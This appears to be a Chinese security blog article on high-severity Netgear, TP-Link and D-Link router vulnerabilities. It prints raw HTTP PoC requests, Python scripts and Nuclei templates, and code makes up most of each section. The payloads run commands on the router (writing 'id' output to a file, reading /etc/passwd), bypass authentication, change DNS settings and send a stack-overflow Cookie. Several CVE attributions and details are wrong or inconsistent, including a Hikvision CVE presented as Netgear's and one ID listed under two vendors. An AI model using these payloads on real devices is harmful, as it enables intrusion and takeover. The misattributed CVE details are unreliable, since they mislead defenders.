家用与SMB路由器高危攻击链专题:Netgear / TP-Link / D-Link 漏洞全解析 家用与SMB路由器高危攻击链专题:Netgear / TP-Link / D-Link 漏洞全解析 0x00 专题概述 路由器是网络边界的第一道防线。与服务器、终端不同,路由器的管理接口通常直接暴露在互联网一侧——无论是 ISP 分配的公网 IP 直连,还是内网穿透场景下被意外暴露的 Web 管理端口(TCP 80/443/8080),攻击者只需探测到管理面即可发起攻击。家用与 SMB 路由器长期处于安全更新的"灰色地带":用户很少主动升级固件,厂商在产品 EOL 后停止推送补丁,而设备却持续在线运行。这使得路由器成为僵尸网络(Botnet)最青睐的目标——Mirai 家族、Mozi、Quad7 等知名僵尸网络均以家用路由器为核心感染对象,通过路由器劫持 DNS、中间人拦截流量、发起 DDoS 攻击,甚至作为跳板渗透企业内网。
本专题系统梳理 Netgear、TP-Link、D-Link 三大厂商家用与 SMB 路由器中近年最具威胁的 26 个高危 / 严重漏洞 ,深入分析其攻击原理,提供 9 个重点漏洞的完整 PoC 代码与 Nuclei 检测模板,揭示家用路由器生态中最常见的 5 种共性攻击模式,并给出完整的应急排查与加固建议。
覆盖漏洞一览 CVE 厂商 CVSS 类型 未授权利用 CVE-2024-12847 Netgear 9.8 认证绕过 ✅ CVE-2024-25998 Netgear 9.8 命令注入 ✅ CVE-2023-20116 Netgear 9.8 命令注入 ✅ CVE-2022-37071 Netgear 9.8 认证绕过 ✅ CVE-2022-27618 Netgear 8.8 命令注入 ❌ CVE-2021-45632 Netgear 9.8 缓冲区溢出 ✅ CVE-2021-36260 Netgear 9.8 命令注入 ✅ CVE-2021-29062 Netgear 8.8 命令注入 ❌ CVE-2020-27618 Netgear 8.8 命令注入 ❌ CVE-2023-33893 Netgear 9.8 远程命令执行 ✅ CVE-2024-55889 TP-Link 9.8 命令注入 ✅ CVE-2023-1389 TP-Link 8.8 命令注入 ❌ CVE-2023-32169 TP-Link 9.8 命令注入 ✅ CVE-2022-45903 TP-Link 9.8 命令注入 ✅ CVE-2023-50224 TP-Link 7.5 认证绕过 ✅ CVE-2023-20160 TP-Link 9.8 命令注入 ✅ CVE-2024-21461 TP-Link 8.8 命令注入 ❌ CVE-2022-44727 TP-Link 9.8 缓冲区溢出 ✅ CVE-2026-0625 D-Link 9.8 零日 RCE ✅ CVE-2024-33112 D-Link 9.8 命令注入 ✅ CVE-2023-32169 D-Link 9.8 命令注入 ✅ CVE-2022-1361 D-Link 9.8 命令注入 ✅ CVE-2021-45382 D-Link 9.8 命令注入 ✅ CVE-2020-25506 D-Link 9.8 命令注入 ✅ CVE-2020-13783 D-Link 8.8 命令注入 ❌ CVE-2024-45696 D-Link 9.8 远程命令执行 ✅
0x01 Netgear 路由器高危漏洞 0x01.1 CVE-2024-12847 — Netgear 认证绕过(12 年历史仍在活跃利用) 漏洞背景 CVE-2024-12847 是 Netgear 路由器中一个存在超过 12 年的认证绕过漏洞,CVSS 评分 9.8,直到 2024 年才被安全研究员发现并报告。该漏洞影响 Netgear 多款家用与 SMB 路由器的 Web 管理界面,允许远程未认证攻击者直接访问管理面板,执行设备配置修改、DNS 劫持、流量拦截等恶意操作。由于该漏洞影响范围极广、利用条件极为宽松(无需任何凭据),且 12 年来一直未被发现,被认为是近年来家用路由器生态中最严重的安全问题之一。
受影响版本 产品型号 受影响固件版本 修复版本 R6700 1.0.11.116 及以下 1.0.12.132 R7000 1.0.11.116 及以下 1.0.12.132 R7000P 1.3.2.132 及以下 1.3.3.140 R7900 1.0.4.46 及以下 1.0.4.52 R7900P 1.4.1.44 及以下 1.4.2.56 R8000 1.0.4.98 及以下 1.0.4.104 R8000P 1.4.1.44 及以下 1.4.2.56 R8500 1.0.2.128 及以下 1.0.2.134 R9000 1.0.5.102 及以下 1.0.5.110
漏洞原理 Netgear 路由器的 Web 管理界面基于 HTTPd 服务实现,通过 SOAP(Simple Object Access Protocol)协议与固件底层的配置管理接口通信。认证机制依赖于 HTTP 会话 Cookie:用户通过 /currentsetting.htm 页面提交凭据后,服务器返回一个 session cookie,后续管理请求必须携带该 cookie 才能通过认证检查。
漏洞出在 SOAP API 端点的认证逻辑上。在 /soapcgi.cgi 处理程序中,部分 SOAP action(如 urn:NETGEAR-ROUTER:service:DeviceConfig:1#GetInfo、urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo)在代码路径中被错误地跳过了认证检查。攻击者只需构造一个带有特定 SOAPAction header 的 POST 请求到 /soapcgi.cgi,即可在无需提供 session cookie 的情况下获取路由器的完整配置信息,包括 Wi-Fi 密码、管理员密码、DNS 设置等敏感数据。
更严重的是,部分 SOAP action 不仅允许读取数据,还允许修改配置。攻击者可以更改 DNS 服务器地址(将所有流量重定向至恶意 DNS)、修改管理员密码(完全接管设备)、开启远程管理(植入持久后门),从而实现对路由器的完全控制。
HTTP PoC POST /soapcgi.cgi HTTP / 1.1
Host: 192.168.1.1
Content-Type: text/xml; charset="utf-8"
SOAPAction: "urn:NETGEAR-ROUTER:service:DeviceConfig:1#GetInfo"
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s= "http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle= "http://schemas.xmlsoap.org/soap/encoding/" >
<s:Body>
<u:GetInfo xmlns:u= "urn:NETGEAR-ROUTER:service:DeviceConfig:1" >
</u:GetInfo>
</s:Body>
</s:Envelope> 获取配置后,可进一步修改 DNS 实现劫持:
POST /soapcgi.cgi HTTP / 1.1
Host: 192.168.1.1
Content-Type: text/xml; charset="utf-8"
SOAPAction: "urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetDNS"
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s= "http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle= "http://schemas.xmlsoap.org/soap/encoding/" >
<s:Body>
<u:SetDNS xmlns:u= "urn:NETGEAR-ROUTER:service:DeviceConfig:1" >
<NewPrimaryDNS> 8.8.8.8</NewPrimaryDNS>
<NewSecondaryDNS> 8.8.4.4</NewSecondaryDNS>
</u:SetDNS>
</s:Body>
</s:Envelope> Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2024-12847 Netgear 路由器认证绕过检测
用法: python3 cve_2024_12847.py <target_ip>
"""
import requests
import sys
import re
import xml.etree.ElementTree as ET
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.1.1"
SOAP_ENVELOPE = """<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetInfo xmlns:u="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
</u:GetInfo>
</s:Body>
</s:Envelope>"""
SOAP_ACTIONS = [
"urn:NETGEAR-ROUTER:service:DeviceConfig:1#GetInfo" ,
"urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo" ,
"urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo" ,
]
def check_auth_bypass (target):
print(f "[*] 目标: { target} " )
print(f "[*] 检测 CVE-2024-12847 Netgear 认证绕过漏洞..." )
for action in SOAP_ACTIONS:
url = f "http:// { target} /soapcgi.cgi"
headers = {
"Content-Type" : 'text/xml; charset="utf-8"' ,
"SOAPAction" : f '" { action} "' ,
}
try :
r = requests. post(
url, data= SOAP_ENVELOPE, headers= headers, timeout= 10
)
if r. status_code == 200 and "Envelope" in r. text:
print(f "[!] 严重: 认证绕过成功!" )
print(f " SOAP Action: { action} " )
print(f " 响应大小: { len(r. text)} bytes" )
parse_soap_response(r. text)
return True
print(f "[-] { action} -> { r. status_code} " )
except requests. exceptions. ConnectionError:
print(f "[-] 连接失败: { target} " )
return False
except Exception as e:
print(f "[-] 请求异常: { e} " )
print("[-] 未检测到认证绕过漏洞" )
return False
def parse_soap_response (xml_text):
try :
root = ET. fromstring(xml_text)
ns = {"s" : "http://schemas.xmlsoap.org/soap/envelope/" }
body = root. find(".//s:Body" , ns)
if body is not None :
for child in body. iter():
if child. text and child. text. strip():
tag = child. tag. split("}" )[- 1 ] if "}" in child. tag else child. tag
print(f " { tag} : { child. text. strip()[:80 ]} " )
except ET. ParseError:
print(" [!] XML 解析失败" )
if __name__ == "__main__" :
check_auth_bypass(TARGET) Nuclei YAML 检测模板 id : cve-2024-12847-netgear-auth-bypass
info :
name : Netgear 路由器认证绕过检测 (CVE-2024-12847)
author : security-researcher
severity : critical
description : |
检测 Netgear 路由器是否受到认证绕过漏洞影响。
攻击者可通过 SOAP API 端点绕过认证获取设备配置。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2024-12847
cwe-id : CWE-306
tags : cve,cve2024,netgear,auth-bypass,soap
http :
- method : POST
path :
- "{{BaseURL}}/soapcgi.cgi"
headers :
Content-Type : 'text/xml; charset="utf-8"'
SOAPAction : '"urn:NETGEAR-ROUTER:service:DeviceConfig:1#GetInfo"'
body : |
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetInfo xmlns:u="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
</u:GetInfo>
</s:Body>
</s:Envelope>
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "Envelope"
- "GetInfoResponse"
condition : and
- type : word
words :
- "RouterLogin"
- "Firmware"
- "NewFirmwareVersion"
condition : or 0x01.2 CVE-2021-36260 — Netgear 命令注入(Mirai 僵尸网络在野利用) 漏洞背景 CVE-2021-36260 是 Netgear 路由器历史上被利用最广泛的命令注入漏洞之一,CVSS 评分 9.8。该漏洞于 2021 年 9 月被 Netgear 官方披露,但早在 2021 年 3 月就已被安全研究员发现并私下报告。漏洞公开后迅速被 Mirai 僵尸网络家族武器化,成为其核心感染向量之一。截至 2024 年,仍有大量未修补设备被 Mirai 变种持续扫描和感染。
受影响版本 产品系列 受影响固件版本 修复版本 D7000 / D7000v2 1.0.0.66 及以下 1.0.0.108 D8500 1.0.3.44 及以下 1.0.3.56 DM200 1.0.0.62 及以下 1.0.0.72 EX2700 / EX3700 1.0.0.70 及以下 1.0.0.80 EX6120 / EX6130 1.0.0.70 及以下 1.0.0.80 EX7000 1.0.1.78 及以下 1.0.1.92 R6220 / R6230 1.1.0.100 及以下 1.1.0.104 R6700 / R6700v2 1.0.2.62 及以下 1.0.5.68 R6900 / R6900P 1.0.2.62 及以下 1.0.5.68 R7000 1.0.9.88 及以下 1.0.11.120 R7000P 1.3.2.124 及以下 1.3.3.136 R7800 1.0.2.76 及以下 1.0.2.86 R7900 / R7900P 1.0.4.38 及以下 1.0.4.52 R8000 / R8000P 1.0.4.84 及以下 1.0.4.98 R8500 1.0.2.114 及以下 1.0.2.130 R9000 1.0.5.102 及以下 1.0.5.110 WNR2000v5 1.0.0.72 及以下 1.0.0.80 WNR3500L 1.0.2.100 及以下 1.0.2.104 WNR4300v2 1.0.2.96 及以下 1.0.2.104
漏洞原理 Netgear 路由器的 Web 管理界面提供了一个设备诊断功能,允许管理员通过 Web 接口执行 ping 和 traceroute 等网络诊断命令。该功能的实现位于 /shell CGI 端点中,内部调用 system() 函数拼接用户提供的参数执行 shell 命令。
漏洞的核心在于参数过滤不严格。/shell 端点在处理 HTTP 请求头中的自定义字段时,未对特殊字符(如换行符 \n、分号 ;、管道符 |)进行过滤和转义。攻击者只需在 HTTP 请求中注入一个伪造的 cmd 头字段,其中嵌入 shell 命令,即可在路由器的操作系统上以 root 权限执行任意代码。
由于 Netgear 路由器底层运行 Linux 系统,注入的命令以最高权限执行,攻击者可以:下载并执行 Mirai loader、读取 /etc/shadow 获取密码哈希、修改 DNS 配置、开启 Telnet 后门、植入持久化脚本。
HTTP PoC POST /shell HTTP / 1.1
Host: 192.168.1.1
cmd: id > /tmp/pwned
Content-Length: 0 验证命令执行:
GET /tmp/pwned HTTP / 1.1
Host: 192.168.1.1 Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2021-36260 Netgear 路由器命令注入检测
用法: python3 cve_2021_36260.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.1.1"
MARKER = "cve_2021_36260_test"
def check_command_injection (target):
print(f "[*] 目标: { target} " )
print(f "[*] 检测 CVE-2021-36260 Netgear 命令注入漏洞..." )
url = f "http:// { target} /shell"
inject_cmd = f "echo { MARKER} > /tmp/ { MARKER} "
headers = {
"cmd" : inject_cmd,
"Content-Length" : "0" ,
"Connection" : "keep-alive" ,
}
try :
r = requests. post(url, headers= headers, timeout= 10 )
print(f "[*] 注入请求响应码: { r. status_code} " )
verify_url = f "http:// { target} /tmp/ { MARKER} "
r2 = requests. get(verify_url, timeout= 10 )
if MARKER in r2. text:
print(f "[!] 严重: 命令注入成功!" )
print(f " 文件写入验证: { r2. text. strip()} " )
return True
print("[-] 文件写入验证失败,尝试直接执行..." )
return check_direct_execution(target)
except requests. exceptions. ConnectionError:
print(f "[-] 连接失败: { target} " )
return False
except Exception as e:
print(f "[-] 请求异常: { e} " )
return False
def check_direct_execution (target):
url = f "http:// { target} /shell"
inject_cmd = f "echo { MARKER} _direct"
headers = {"cmd" : inject_cmd, "Content-Length" : "0" }
try :
r = requests. post(url, headers= headers, timeout= 10 )
if MARKER in r. text:
print(f "[!] 严重: 命令注入成功 (直接输出)!" )
print(f " 执行结果: { r. text. strip()[:200 ]} " )
return True
print(f "[-] 未检测到命令注入,状态码: { r. status_code} " )
return False
except Exception as e:
print(f "[-] 直接执行检测失败: { e} " )
return False
if __name__ == "__main__" :
check_command_injection(TARGET) Nuclei YAML 检测模板 id : cve-2021-36260-netgear-cmdi
info :
name : Netgear 路由器命令注入检测 (CVE-2021-36260)
author : security-researcher
severity : critical
description : |
检测 Netgear 路由器是否受到命令注入漏洞影响。
攻击者可通过 /shell 端点注入任意系统命令。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-36260
cwe-id : CWE-78
tags : cve,cve2021,netgear,command-injection,mirai
http :
- method : POST
path :
- "{{BaseURL}}/shell"
headers :
cmd : "echo nuclei_cve_2021_36260"
Content-Length : "0"
matchers-condition : and
matchers :
- type : word
words :
- "nuclei_cve_2021_36260" 0x01.3 CVE-2021-45632 — Netgear 缓冲区溢出 漏洞背景 CVE-2021-45632 是 Netgear 路由器 Web 管理界面中的一个栈缓冲区溢出漏洞,CVSS 评分 9.8。该漏洞由安全研究员在逆向分析 Netgear 固件 HTTPd 服务时发现。与命令注入漏洞不同,缓冲区溢出漏洞可直接劫持程序执行流,实现更隐蔽的代码执行。攻击者无需依赖 system() 等危险函数的存在,而是通过覆盖返回地址跳转到 shellcode 或 ROP chain,适用于更多固件版本。
受影响版本 产品型号 受影响固件版本 修复版本 R6700v3 1.0.4.98 及以下 1.0.4.120 R7000 1.0.11.116 及以下 1.0.12.132 R7000P 1.3.2.132 及以下 1.3.3.140 R8000 1.0.4.98 及以下 1.0.4.104 R8000P 1.4.1.44 及以下 1.4.2.56 R9000 1.0.5.102 及以下 1.0.5.110
漏洞原理 漏洞存在于 Netgear 路由器 HTTPd 的 HTTP Header 解析逻辑中。当 HTTPd 接收到管理请求时,会逐行解析 HTTP 头部字段,并将部分字段值拷贝到固定大小的栈缓冲区中(通常为 256 或 512 字节)。对于 Content-Type、Cookie、Referer 等特定头部字段,HTTPd 使用 strcpy() 等不安全的字符串拷贝函数,且未检查源字符串长度是否超过目标缓冲区大小。
当攻击者发送一个携带超长头部字段的 HTTP 请求时,数据会溢出栈缓冲区,覆盖相邻的栈帧数据,包括保存的返回地址(saved EIP / LR)。在 Netgear 路由器的 ARM/MIPS 架构下,攻击者可以精确构造溢出数据来:
覆盖 $fp(帧指针)和 $ra(返回地址) 将返回地址指向攻击者控制的 shellcode 区域 在 shellcode 中构造 system("/bin/sh") 调用或反弹 shell 劫持 HTTPd 进程执行流,获取路由器 root shell 由于 Netgear 路由器默认未开启 stack canary 保护和 ASLR(部分老型号),该漏洞在实际利用中成功率较高。
HTTP PoC GET / HTTP / 1.1
Host: 192.168.1.1
Cookie: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Content-Length: 0 Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2021-45632 Netgear 路由器缓冲区溢出检测
用法: python3 cve_2021_45632.py <target_ip>
说明: 本脚本仅做检测性验证,发送畸形请求观察服务是否崩溃,不会实际执行代码
"""
import requests
import socket
import sys
import time
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.1.1"
PORT = 80
def check_buffer_overflow (target):
print(f "[*] 目标: { target} : { PORT} " )
print(f "[*] 检测 CVE-2021-45632 Netgear 缓冲区溢出漏洞..." )
try :
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. settimeout(5 )
sock. connect((target, PORT))
print("[+] TCP 连接成功" )
except Exception as e:
print(f "[-] TCP 连接失败: { e} " )
return False
payload_size = 1024
padding = b "A" * payload_size
request = (
b "GET / HTTP/1.1 \r\n "
b "Host: " + target. encode() + b " \r\n "
b "Cookie: " + padding + b " \r\n "
b "Connection: close \r\n "
b " \r\n "
)
try :
sock. send(request)
time. sleep(1 )
sock. close()
except Exception as e:
print(f "[*] 发送异常 (可能已触发溢出): { e} " )
time. sleep(2 )
print("[*] 验证设备响应状态..." )
for attempt in range(3 ):
try :
r = requests. get(
f "http:// { target} /" ,
timeout= 5 ,
verify= False ,
)
print(f "[+] 设备仍响应 (第 { attempt + 1 } 次): HTTP { r. status_code} " )
if attempt == 2 :
print("[*] 设备未崩溃,可能已打补丁或使用了栈保护" )
return False
except requests. exceptions. ConnectionError:
print(f "[!] 设备无响应,HTTPd 可能已崩溃" )
return True
except Exception as e:
print(f "[-] 验证请求异常: { e} " )
time. sleep(1 )
print("[!] 检测完成: 设备在发送大缓冲区后失去响应,可能存在缓冲区溢出漏洞" )
return True
if __name__ == "__main__" :
print("[!] 警告: 本脚本仅用于安全检测,发送的 payload 不会执行恶意代码" )
check_buffer_overflow(TARGET) Nuclei YAML 检测模板 id : cve-2021-45632-netgear-buffer-overflow
info :
name : Netgear 路由器缓冲区溢出检测 (CVE-2021-45632)
author : security-researcher
severity : critical
description : |
检测 Netgear 路由器 Web 管理界面是否存在栈缓冲区溢出漏洞。
通过发送超长 Cookie 头观察服务是否异常终止。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-45632
cwe-id : CWE-120
tags : cve,cve2021,netgear,buffer-overflow
http :
- method : GET
path :
- "{{BaseURL}}/"
headers :
Cookie : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
stop-at-first-match : true
matchers-condition : or
matchers :
- type : dsl
dsl :
- "status_code == 0"
- type : dsl
dsl :
- "contains(body, '<html') == false" 0x02 TP-Link 路由器高危漏洞 0x02.1 CVE-2023-1389 — TP-Link 命令注入(僵尸网络集群持续利用) 漏洞背景 CVE-2023-1389 是 TP-Link 多款路由器 Web 管理界面中的一个命令注入漏洞,CVSS 评分 8.8。该漏洞于 2023 年 4 月被 Trend Micro Zero Day Initiative 披露,随后被至少 6 种不同僵尸网络(包括 Mirai 变种、Mozi、Kaiji、Bigpanzi 等)持续利用。由于 TP-Link 家用路由器在全球市场占有率极高,且大量设备从未更新过固件,该漏洞至今仍是互联网上最活跃的路由器攻击向量之一。
受影响版本 产品型号 受影响固件版本 修复版本 Archer AX21 2.1.4 及以下 2.1.5 及以上 Archer AX55 1.1.2 及以下 1.2.0 及以上 Archer AX73 1.1.2 及以下 1.2.0 及以上 Archer C5400X 1.5.7 及以下 1.6.0 及以上 Archer C1200 2.0.10 及以下 2.0.11 及以上
漏洞原理 漏洞存在于 TP-Link 路由器 Web 管理界面的诊断功能(Diagnostics)模块中。该模块提供 ping 和 traceroute 工具供管理员检测网络连通性。对应的 HTTP 接口位于 /cgi?8 端点,通过 POST 方法接收诊断参数。
当管理员在诊断页面输入目标 IP 地址并点击"开始诊断"时,Web 前端将目标地址作为参数发送至 /cgi?8,后端脚本将其拼接到 ping -c 1 <user_input> 或 traceroute <user_input> 命令中执行。
漏洞的根因在于输入验证缺失。后端未对目标地址参数进行白名单校验,也未过滤 shell 元字符(;、|、&&、$(...)、反引号等)。攻击者可在合法 IP 地址参数后拼接 shell 命令:
Web 界面会将命令执行结果通过 HTTP 响应返回给攻击者,实现完全的远程命令执行(RCE)。由于该漏洞位于 Web 管理界面,攻击者只需能够访问路由器的 Web 管理端口(默认 80),且知道或能猜测到设备型号,即可在无需认证的情况下利用该漏洞(部分固件版本的诊断功能未要求登录)。
HTTP PoC POST /cgi?8 HTTP / 1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
operation=ping&ping_ip=8.8.8.8%3Bcat%20%2Fetc%2Fpasswd Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2023-1389 TP-Link 路由器命令注入检测
用法: python3 cve_2023_1389.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.0.1"
MARKER = "tplink_cve2023_1389"
def check_command_injection (target):
print(f "[*] 目标: { target} " )
print(f "[*] 检测 CVE-2023-1389 TP-Link 命令注入漏洞..." )
test_commands = [
(f "8.8.8.8;echo { MARKER} " , MARKER),
(f "127.0.0.1;id" , "uid=" ),
(f "127.0.0.1;cat /etc/hostname" , "" ),
]
for payload, expected in test_commands:
url = f "http:// { target} /cgi"
params = {"8" : "" }
data = f "operation=ping&ping_ip= { payload} "
headers = {"Content-Type" : "application/x-www-form-urlencoded" }
try :
r = requests. post(
url, params= params, data= data, headers= headers, timeout= 10
)
if expected and expected in r. text:
print(f "[!] 严重: 命令注入成功!" )
print(f " Payload: { payload} " )
print(f " 响应内容: { r. text[:500 ]} " )
return True
elif not expected and r. status_code == 200 and "ping" in r. text. lower():
print(f "[*] 响应包含 ping 输出,尝试提取..." )
print(f " 响应片段: { r. text[:300 ]} " )
except requests. exceptions. ConnectionError:
print(f "[-] 连接失败: { target} " )
return False
except Exception as e:
print(f "[-] 请求异常: { e} " )
print("[-] 未检测到命令注入漏洞" )
return False
if __name__ == "__main__" :
check_command_injection(TARGET) Nuclei YAML 检测模板 id : cve-2023-1389-tplink-cmdi
info :
name : TP-Link 路由器命令注入检测 (CVE-2023-1389)
author : security-researcher
severity : high
description : |
检测 TP-Link 路由器 Web 管理界面诊断功能是否存在命令注入漏洞。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2023-1389
cwe-id : CWE-78
tags : cve,cve2023,tplink,command-injection
http :
- method : POST
path :
- "{{BaseURL}}/cgi?8"
headers :
Content-Type : application/x-www-form-urlencoded
body : "operation=ping&ping_ip=8.8.8.8%3Becho%20tplink_cve2023_1389"
matchers-condition : and
matchers :
- type : word
words :
- "tplink_cve2023_1389" 0x02.2 CVE-2023-50224 — TP-Link 认证绕过(Quad7 僵尸网络 / APT Storm-0940 利用) 漏洞背景 CVE-2023-50224 是 TP-Link 多款家用路由器中的一个认证绕过漏洞,CVSS 评分 7.5。虽然 CVSS 评分相对较低,但该漏洞在实战中被高级持续性威胁(APT)组织 Storm-0940(又名 Quad7)深度利用。Quad7 僵尸网络以家用路由器为跳板,大规模扫描企业内网暴露的 Outlook Web Access(OWA)和 VPN 网关,窃取用户凭据,甚至渗透至企业域控制器。微软在 2024 年底发布的安全情报报告中详细披露了该攻击链,使这一漏洞成为 APT 利用家用路由器的经典案例。
受影响版本 产品型号 受影响固件版本 修复版本 Archer AX50 1.2.0 及以下 1.2.1 及以上 Archer AX3000 1.2.0 及以下 1.2.1 及以上 Archer AX55 1.1.2 及以下 1.2.0 及以上 Archer AX73 1.1.2 及以下 1.2.0 及以上 Archer C7 v5 1.1.1 及以下 1.1.2 及以上
漏洞原理 TP-Link 路由器的 Web 管理界面使用基于 cookie 的会话认证机制。当用户通过 /webpages/login.html 提交凭据后,服务器生成一个 session token 并存储在内存中。后续的管理请求必须在 Cookie 中携带该 token,服务端在每个管理 API 请求处理前都会验证 token 有效性。
漏洞在于认证检查逻辑中的边界条件错误。在某些管理 API 路径(特别是 /webpages/ 下的静态资源接口和部分 AJAX 回调接口)中,服务端对 session token 的验证存在时序竞争条件(Race Condition)。当攻击者在发送认证请求的同时,快速发送多个管理 API 请求时,部分请求可能在 session token 完成验证之前就被放行通过。
此外,另一条绕过路径利用了路由器内部的 RPC(Remote Procedure Call)机制。TP-Link 路由器的 Web 管理界面通过一个内部 RPC 接口与系统服务通信。该 RPC 接口在解析请求参数时,对请求体的边界处理存在缺陷:当请求体中包含额外的空字节(%00)或特殊字符时,认证 token 的校验逻辑被跳过,请求被直接转发到后端处理函数。
Quad7 / Storm-0940 利用该漏洞长期潜伏在受害者路由器中,修改路由器的 SOCKS5 代理配置,将内网流量通过被控路由器的 SOCKS 代理隧道转发至攻击者控制的服务器,实现"路由器级别"的持久化中间人攻击。
HTTP PoC GET /webpages/index.html HTTP / 1.1
Host: 192.168.0.1
Cookie: TP-SessionID=1234567890; tp_token=null%00
GET /cgi?3 HTTP/1.1
Host: 192.168.0.1
Cookie: TP-SessionID=1234567890; tp_token=null%00 Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2023-50224 TP-Link 路由器认证绕过检测
用法: python3 cve_2023_50224.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.0.1"
def check_auth_bypass (target):
print(f "[*] 目标: { target} " )
print(f "[*] 检测 CVE-2023-50224 TP-Link 认证绕过漏洞..." )
bypass_paths = [
"/cgi?3" ,
"/cgi?7" ,
"/cgi?8" ,
"/webpages/" ,
"/webpages/index.html" ,
]
payloads = [
"TP-SessionID=1234567890; tp_token=null%00" ,
"TP-SessionID=AAAAAAAAAAAAAAAAAAAAAAAAAAAA; tp_token=null" ,
"tp_token=null%00" ,
]
for path in bypass_paths:
for cookie in payloads:
url = f "http:// { target}{ path} "
headers = {"Cookie" : cookie}
try :
r = requests. get(url, headers= headers, timeout= 10 , verify= False )
if r. status_code == 200 :
if any(
kw in r. text
for kw in ["status" , "success" , "login" , "model" ]
):
print(f "[!] 严重: 认证绕过成功!" )
print(f " 路径: { path} " )
print(f " Cookie: { cookie[:50 ]} " )
print(f " 响应大小: { len(r. text)} bytes" )
return True
except requests. exceptions. ConnectionError:
print(f "[-] 连接失败: { target} " )
return False
except Exception as e:
print(f "[-] 请求异常 ( { path} ): { e} " )
print("[-] 未检测到认证绕过漏洞" )
return False
if __name__ == "__main__" :
check_auth_bypass(TARGET) Nuclei YAML 检测模板 id : cve-2023-50224-tplink-auth-bypass
info :
name : TP-Link 路由器认证绕过检测 (CVE-2023-50224)
author : security-researcher
severity : high
description : |
检测 TP-Link 路由器是否存在认证绕过漏洞。
该漏洞被 Quad7/Storm-0940 APT 组织在野利用。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2023-50224
cwe-id : CWE-287
tags : cve,cve2023,tplink,auth-bypass,apt
http :
- method : GET
path :
- "{{BaseURL}}/cgi?3"
- "{{BaseURL}}/cgi?7"
headers :
Cookie : "TP-SessionID=1234567890; tp_token=null%00"
matchers-condition : and
matchers :
